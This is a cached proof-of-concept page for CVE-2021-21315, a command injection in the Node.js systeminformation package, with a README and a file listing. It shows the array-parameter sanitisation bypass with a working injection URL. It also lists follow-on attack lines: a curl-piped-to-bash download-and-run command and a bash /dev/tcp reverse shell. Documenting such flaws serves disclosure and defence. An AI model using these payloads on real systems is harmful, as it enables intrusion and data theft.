Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2021-21315 PoC — Systeminformation 操作系统命令注入漏洞

Source
Associated Vulnerability
Title:Systeminformation 操作系统命令注入漏洞 (CVE-2021-21315)
Description:Systeminformation中存在操作系统命令注入漏洞,该漏洞源于外部输入数据构造操作系统可执行命令过程中,网络系统或产品未正确过滤其中的特殊字符、命令等。攻击者可利用该漏洞执行非法操作系统命令。
Description
CVE 2021-21315 PoC
Readme
# CVE-2021-21315-systeminformation
This is Proof of Concept for [CVE-2021-21315](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21315) which affects The System Information Library for Node.JS (npm package "systeminformation"). [npmjs.com/systeminformation](https://www.npmjs.com/package/systeminformation)

"be sure to check or sanitize service parameters that are passed to si.inetLatency(), si.inetChecksite(), si.services(), si.processLoad() ... do only allow strings, reject any arrays. String sanitation works as expected. "

Because it's not well explained vulnerability (in my opinion), i decided to code small app basing on vulnerable version of systeminformation.
The PoC contains:
1) Test app made in Node.js, using express and vulnerable systeminformation
2) Simple testing payload to create .txt file on affected machine

Steps to reproduce:
1) Run application on Linux server environment
2) Make GET request to site.com/api/getServices?name=nginx (nginx is just example)
![obraz](https://user-images.githubusercontent.com/72838191/109575455-223c8d00-7af2-11eb-92fa-f242d0e74947.png)
3) Now try to send request like this: yoursite.com/api/getServices?name=$(echo -e 'Sekurak' > pwn.txt)
![obraz](https://user-images.githubusercontent.com/72838191/109575807-d3dbbe00-7af2-11eb-8c83-5129e5cdb762.png)

This will fail, because of string sanitization:
![obraz](https://user-images.githubusercontent.com/72838191/109575891-fcfc4e80-7af2-11eb-9b9d-86a5cae803f6.png)

As said in CVE details "sanitization works as expected, reject any arrays [...]"

4) Now try to send request: yoursite.com/api/getServices?name[]=$(echo -e 'Sekurak' > pwn.txt)
![obraz](https://user-images.githubusercontent.com/72838191/109576285-cbd04e00-7af3-11eb-8ac3-2432e23721e6.png)
This time, if you take a look at "name" value, it was not sanitized - success ! Let's see if command was executed

![obraz](https://user-images.githubusercontent.com/72838191/109576497-21a4f600-7af4-11eb-85a1-3610c25edbee.png)

Success! Our command got executed. 
Of course no one cares about "pwn.txt", but potential attacker can:
1) Upload internal files, like index.js (core of our application, with potential api keys, database connection string and others) or other
2) Download and execute scripts - curl -s http://server/path/script.sh | bash /dev/stdin arg1 arg2
3) Reverse shell - bash -i >& /dev/tcp/10.0.0.1/4242 0>&1
4) Kill processes (you can kill our test node application aswell)
5) Even more evil things....

"Command injection" sounds innocent, but it may have huge impact if certain conditions are meet

Problem was fixed in version 5.3.1 of "systeminformation"
Credits to https://www.huntr.dev/users/EffectRenan (He found vulnerability, however in my opinion, his "Poc" did not show real world impact)

Also, do not heist to use this PoC in some CTF's but would be cool if you will credit author of finding - EffectRean and poc creator - me, cheers!

# Disclaimer
This project can only be used for educational purposes. Using this software against target systems without prior permission is illegal, and any damages from misuse of this software will not be the responsibility of the author.
File Snapshot

[4.0K] /data/pocs/c1cc035838cdefea6cb500f679fd5fe17af878fa ├── [ 517] index.js ├── [4.0K] node_modules │   ├── [4.0K] accepts │   │   ├── [4.9K] HISTORY.md │   │   ├── [5.1K] index.js │   │   ├── [1.1K] LICENSE │   │   ├── [2.2K] package.json │   │   └── [4.0K] README.md │   ├── [4.0K] array-flatten │   │   ├── [1.2K] array-flatten.js │   │   ├── [1.1K] LICENSE │   │   ├── [1.6K] package.json │   │   └── [1.2K] README.md │   ├── [4.0K] body-parser │   │   ├── [ 15K] HISTORY.md │   │   ├── [2.6K] index.js │   │   ├── [4.0K] lib │   │   │   ├── [3.8K] read.js │   │   │   └── [4.0K] types │   │   │   ├── [4.8K] json.js │   │   │   ├── [1.8K] raw.js │   │   │   ├── [2.2K] text.js │   │   │   └── [5.7K] urlencoded.js │   │   ├── [1.1K] LICENSE │   │   ├── [2.6K] package.json │   │   └── [ 17K] README.md │   ├── [4.0K] bytes │   │   ├── [1.5K] History.md │   │   ├── [3.4K] index.js │   │   ├── [1.1K] LICENSE │   │   ├── [2.0K] package.json │   │   └── [3.8K] Readme.md │   ├── [4.0K] content-disposition │   │   ├── [ 952] HISTORY.md │   │   ├── [ 10K] index.js │   │   ├── [1.1K] LICENSE │   │   ├── [2.3K] package.json │   │   └── [5.1K] README.md │   ├── [4.0K] content-type │   │   ├── [ 436] HISTORY.md │   │   ├── [4.7K] index.js │   │   ├── [1.1K] LICENSE │   │   ├── [2.1K] package.json │   │   └── [2.7K] README.md │   ├── [4.0K] cookie │   │   ├── [2.6K] HISTORY.md │   │   ├── [3.9K] index.js │   │   ├── [1.1K] LICENSE │   │   ├── [2.1K] package.json │   │   └── [8.6K] README.md │   ├── [4.0K] cookie-signature │   │   ├── [ 695] History.md │   │   ├── [1.2K] index.js │   │   ├── [1.5K] package.json │   │   └── [1.5K] Readme.md │   ├── [4.0K] debug │   │   ├── [ 11K] CHANGELOG.md │   │   ├── [ 321] component.json │   │   ├── [1.7K] karma.conf.js │   │   ├── [1.1K] LICENSE │   │   ├── [1.0K] Makefile │   │   ├── [ 40] node.js │   │   ├── [2.2K] package.json │   │   ├── [ 17K] README.md │   │   └── [4.0K] src │   │   ├── [4.6K] browser.js │   │   ├── [4.3K] debug.js │   │   ├── [ 263] index.js │   │   ├── [ 373] inspector-log.js │   │   └── [5.9K] node.js │   ├── [4.0K] depd │   │   ├── [2.0K] History.md │   │   ├── [ 10K] index.js │   │   ├── [4.0K] lib │   │   │   ├── [4.0K] browser │   │   │   │   └── [1.5K] index.js │   │   │   └── [4.0K] compat │   │   │   ├── [2.2K] callsite-tostring.js │   │   │   ├── [ 338] event-listener-count.js │   │   │   └── [1.4K] index.js │   │   ├── [1.1K] LICENSE │   │   ├── [2.1K] package.json │   │   └── [9.8K] Readme.md │   ├── [4.0K] destroy │   │   ├── [1.0K] index.js │   │   ├── [1.1K] LICENSE │   │   ├── [1.8K] package.json │   │   └── [2.1K] README.md │   ├── [4.0K] ee-first │   │   ├── [1.6K] index.js │   │   ├── [1.1K] LICENSE │   │   ├── [1.8K] package.json │   │   └── [2.6K] README.md │   ├── [4.0K] encodeurl │   │   ├── [ 238] HISTORY.md │   │   ├── [1.5K] index.js │   │   ├── [1.1K] LICENSE │   │   ├── [2.1K] package.json │   │   └── [3.8K] README.md │   ├── [4.0K] escape-html │   │   ├── [1.3K] index.js │   │   ├── [1.1K] LICENSE │   │   ├── [1.4K] package.json │   │   └── [ 707] Readme.md │   ├── [4.0K] etag │   │   ├── [1.7K] HISTORY.md │   │   ├── [2.4K] index.js │   │   ├── [1.1K] LICENSE │   │   ├── [2.2K] package.json │   │   └── [4.1K] README.md │   ├── [4.0K] express │   │   ├── [107K] History.md │   │   ├── [ 224] index.js │   │   ├── [4.0K] lib │   │   │   ├── [ 14K] application.js │   │   │   ├── [2.4K] express.js │   │   │   ├── [4.0K] middleware │   │   │   │   ├── [ 853] init.js │   │   │   │   └── [ 885] query.js │   │   │   ├── [ 12K] request.js │   │   │   ├── [ 26K] response.js │   │   │   ├── [4.0K] router │   │   │   │   ├── [ 15K] index.js │   │   │   │   ├── [3.2K] layer.js │   │   │   │   └── [4.1K] route.js │   │   │   ├── [5.8K] utils.js │   │   │   └── [3.2K] view.js │   │   ├── [1.2K] LICENSE │   │   ├── [3.9K] package.json │   │   └── [4.5K] Readme.md │   ├── [4.0K] finalhandler │   │   ├── [4.0K] HISTORY.md │   │   ├── [6.4K] index.js │   │   ├── [1.1K] LICENSE │   │   ├── [2.3K] package.json │   │   └── [3.9K] README.md │   ├── [4.0K] forwarded │   │   ├── [ 306] HISTORY.md │   │   ├── [1.3K] index.js │   │   ├── [1.1K] LICENSE │   │   ├── [2.1K] package.json │   │   └── [1.6K] README.md │   ├── [4.0K] fresh │   │   ├── [1.5K] HISTORY.md │   │   ├── [2.6K] index.js │   │   ├── [1.1K] LICENSE │   │   ├── [2.4K] package.json │   │   └── [3.3K] README.md │   ├── [4.0K] http-errors │   │   ├── [3.1K] HISTORY.md │   │   ├── [5.7K] index.js │   │   ├── [1.1K] LICENSE │   │   ├── [2.5K] package.json │   │   └── [5.4K] README.md │   ├── [4.0K] iconv-lite │   │   ├── [4.2K] Changelog.md │   │   ├── [4.0K] encodings │   │   │   ├── [ 21K] dbcs-codec.js │   │   │   ├── [8.1K] dbcs-data.js │   │   │   ├── [ 710] index.js │   │   │   ├── [6.0K] internal.js │   │   │   ├── [2.1K] sbcs-codec.js │   │   │   ├── [ 31K] sbcs-data-generated.js │   │   │   ├── [4.6K] sbcs-data.js │   │   │   ├── [4.0K] tables │   │   │   │   ├── [ 17K] big5-added.json │   │   │   │   ├── [ 46K] cp936.json │   │   │   │   ├── [ 37K] cp949.json │   │   │   │   ├── [ 41K] cp950.json │   │   │   │   ├── [ 40K] eucjp.json │   │   │   │   ├── [2.2K] gb18030-ranges.json │   │   │   │   ├── [1.2K] gbk-added.json │   │   │   │   └── [ 23K] shiftjis.json │   │   │   ├── [4.9K] utf16.js │   │   │   └── [9.0K] utf7.js │   │   ├── [4.0K] lib │   │   │   ├── [1.1K] bom-handling.js │   │   │   ├── [8.5K] extend-node.js │   │   │   ├── [ 982] index.d.ts │   │   │   ├── [5.0K] index.js │   │   │   └── [3.3K] streams.js │   │   ├── [1.0K] LICENSE │   │   ├── [2.0K] package.json │   │   └── [6.4K] README.md │   ├── [4.0K] inherits │   │   ├── [ 672] inherits_browser.js │   │   ├── [ 192] inherits.js │   │   ├── [ 749] LICENSE │   │   ├── [1.5K] package.json │   │   └── [1.6K] README.md │   ├── [4.0K] ipaddr.js │   │   ├── [9.5K] ipaddr.min.js │   │   ├── [4.0K] lib │   │   │   ├── [ 19K] ipaddr.js │   │   │   └── [2.9K] ipaddr.js.d.ts │   │   ├── [1.1K] LICENSE │   │   ├── [1.7K] package.json │   │   └── [8.1K] README.md │   ├── [4.0K] media-typer │   │   ├── [ 461] HISTORY.md │   │   ├── [6.2K] index.js │   │   ├── [1.1K] LICENSE │   │   ├── [1.7K] package.json │   │   └── [2.3K] README.md │   ├── [4.0K] merge-descriptors │   │   ├── [ 363] HISTORY.md │   │   ├── [1.2K] index.js │   │   ├── [1.1K] LICENSE │   │   ├── [2.0K] package.json │   │   └── [1.2K] README.md │   ├── [4.0K] methods │   │   ├── [ 427] HISTORY.md │   │   ├── [1.0K] index.js │   │   ├── [1.2K] LICENSE │   │   ├── [2.0K] package.json │   │   └── [1.7K] README.md │   ├── [4.0K] mime │   │   ├── [9.3K] CHANGELOG.md │   │   ├── [ 149] cli.js │   │   ├── [1.1K] LICENSE │   │   ├── [2.7K] mime.js │   │   ├── [1.8K] package.json │   │   ├── [2.1K] README.md │   │   ├── [4.0K] src │   │   │   ├── [1.3K] build.js │   │   │   └── [2.3K] test.js │   │   └── [ 31K] types.json │   ├── [4.0K] mime-db │   │   ├── [177K] db.json │   │   ├── [ 11K] HISTORY.md │   │   ├── [ 136] index.js │   │   ├── [1.1K] LICENSE │   │   ├── [2.7K] package.json │   │   └── [4.0K] README.md │   ├── [4.0K] mime-types │   │   ├── [7.6K] HISTORY.md │   │   ├── [3.6K] index.js │   │   ├── [1.1K] LICENSE │   │   ├── [2.3K] package.json │   │   └── [3.4K] README.md │   ├── [4.0K] ms │   │   ├── [2.7K] index.js │   │   ├── [1.1K] license.md │   │   ├── [1.5K] package.json │   │   └── [1.7K] readme.md │   ├── [4.0K] negotiator │   │   ├── [2.3K] HISTORY.md │   │   ├── [3.3K] index.js │   │   ├── [4.0K] lib │   │   │   ├── [3.0K] charset.js │   │   │   ├── [3.4K] encoding.js │   │   │   ├── [3.3K] language.js │   │   │   └── [5.2K] mediaType.js │   │   ├── [1.1K] LICENSE │   │   ├── [2.1K] package.json │   │   └── [4.7K] README.md │   ├── [4.0K] on-finished │   │   ├── [1.7K] HISTORY.md │   │   ├── [3.6K] index.js │   │   ├── [1.1K] LICENSE │   │   ├── [2.0K] package.json │   │   └── [4.8K] README.md │   ├── [4.0K] parseurl │   │   ├── [1.0K] HISTORY.md │   │   ├── [2.7K] index.js │   │   ├── [1.1K] LICENSE │   │   ├── [2.3K] package.json │   │   └── [4.0K] README.md │   ├── [4.0K] path-to-regexp │   │   ├── [ 694] History.md │   │   ├── [3.2K] index.js │   │   ├── [1.1K] LICENSE │   │   ├── [1.5K] package.json │   │   └── [1.1K] Readme.md │   ├── [4.0K] proxy-addr │   │   ├── [2.8K] HISTORY.md │   │   ├── [5.9K] index.js │   │   ├── [1.1K] LICENSE │   │   ├── [2.2K] package.json │   │   └── [4.3K] README.md │   ├── [4.0K] qs │   │   ├── [ 14K] CHANGELOG.md │   │   ├── [4.0K] dist │   │   │   └── [ 24K] qs.js │   │   ├── [4.0K] lib │   │   │   ├── [ 387] formats.js │   │   │   ├── [ 211] index.js │   │   │   ├── [8.3K] parse.js │   │   │   ├── [8.0K] stringify.js │   │   │   └── [6.1K] utils.js │   │   ├── [1.6K] LICENSE │   │   ├── [2.3K] package.json │   │   ├── [ 18K] README.md │   │   └── [4.0K] test │   │   ├── [ 81] index.js │   │   ├── [ 27K] parse.js │   │   ├── [ 24K] stringify.js │   │   └── [5.0K] utils.js │   ├── [4.0K] range-parser │   │   ├── [ 917] HISTORY.md │   │   ├── [2.8K] index.js │   │   ├── [1.2K] LICENSE │   │   ├── [2.4K] package.json │   │   └── [2.2K] README.md │   ├── [4.0K] raw-body │   │   ├── [5.2K] HISTORY.md │   │   ├── [2.2K] index.d.ts │   │   ├── [5.9K] index.js │   │   ├── [1.2K] LICENSE │   │   ├── [2.6K] package.json │   │   └── [6.2K] README.md │   ├── [4.0K] safe-buffer │   │   ├── [8.5K] index.d.ts │   │   ├── [1.5K] index.js │   │   ├── [1.1K] LICENSE │   │   ├── [1.6K] package.json │   │   └── [ 19K] README.md │   ├── [4.0K] safer-buffer │   │   ├── [1.4K] dangerous.js │   │   ├── [1.1K] LICENSE │   │   ├── [1.7K] package.json │   │   ├── [ 12K] Porting-Buffer.md │   │   ├── [8.1K] Readme.md │   │   ├── [2.1K] safer.js │   │   └── [ 15K] tests.js │   ├── [4.0K] send │   │   ├── [ 12K] HISTORY.md │   │   ├── [ 23K] index.js │   │   ├── [1.1K] LICENSE │   │   ├── [4.0K] node_modules │   │   │   └── [4.0K] ms │   │   │   ├── [3.0K] index.js │   │   │   ├── [1.1K] license.md │   │   │   ├── [1.6K] package.json │   │   │   └── [2.0K] readme.md │   │   ├── [2.7K] package.json │   │   └── [9.2K] README.md │   ├── [4.0K] serve-static │   │   ├── [9.8K] HISTORY.md │   │   ├── [4.5K] index.js │   │   ├── [1.2K] LICENSE │   │   ├── [2.3K] package.json │   │   └── [7.6K] README.md │   ├── [4.0K] setprototypeof │   │   ├── [ 93] index.d.ts │   │   ├── [ 384] index.js │   │   ├── [ 727] LICENSE │   │   ├── [2.0K] package.json │   │   ├── [ 850] README.md │   │   └── [4.0K] test │   │   └── [ 690] index.js │   ├── [4.0K] statuses │   │   ├── [1.8K] codes.json │   │   ├── [1023] HISTORY.md │   │   ├── [2.0K] index.js │   │   ├── [1.1K] LICENSE │   │   ├── [2.5K] package.json │   │   └── [3.4K] README.md │   ├── [4.0K] systeminformation │   │   ├── [ 38K] CHANGELOG.md │   │   ├── [4.0K] lib │   │   │   ├── [ 10K] battery.js │   │   │   ├── [1.1K] cli.js │   │   │   ├── [ 49K] cpu.js │   │   │   ├── [ 21K] docker.js │   │   │   ├── [5.3K] dockerSocket.js │   │   │   ├── [ 40K] filesystem.js │   │   │   ├── [ 40K] graphics.js │   │   │   ├── [ 20K] index.d.ts │   │   │   ├── [ 13K] index.js │   │   │   ├── [7.5K] internet.js │   │   │   ├── [ 20K] memory.js │   │   │   ├── [ 57K] network.js │   │   │   ├── [ 35K] osinfo.js │   │   │   ├── [ 40K] processes.js │   │   │   ├── [ 29K] system.js │   │   │   ├── [9.3K] users.js │   │   │   ├── [ 23K] util.js │   │   │   ├── [4.7K] virtualbox.js │   │   │   └── [7.7K] wifi.js │   │   ├── [1.1K] LICENSE │   │   ├── [3.4K] package.json │   │   └── [ 46K] README.md │   ├── [4.0K] toidentifier │   │   ├── [ 490] index.js │   │   ├── [1.1K] LICENSE │   │   ├── [2.1K] package.json │   │   └── [1.7K] README.md │   ├── [4.0K] type-is │   │   ├── [5.3K] HISTORY.md │   │   ├── [5.4K] index.js │   │   ├── [1.1K] LICENSE │   │   ├── [2.2K] package.json │   │   └── [5.1K] README.md │   ├── [4.0K] unpipe │   │   ├── [ 59] HISTORY.md │   │   ├── [1.1K] index.js │   │   ├── [1.1K] LICENSE │   │   ├── [1.7K] package.json │   │   └── [1.2K] README.md │   ├── [4.0K] utils-merge │   │   ├── [ 381] index.js │   │   ├── [1.1K] LICENSE │   │   ├── [1.6K] package.json │   │   └── [1.3K] README.md │   └── [4.0K] vary │   ├── [ 792] HISTORY.md │   ├── [2.9K] index.js │   ├── [1.1K] LICENSE │   ├── [2.1K] package.json │   └── [2.7K] README.md ├── [ 321] package.json ├── [ 14K] package-lock.json └── [3.1K] README.md 73 directories, 341 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.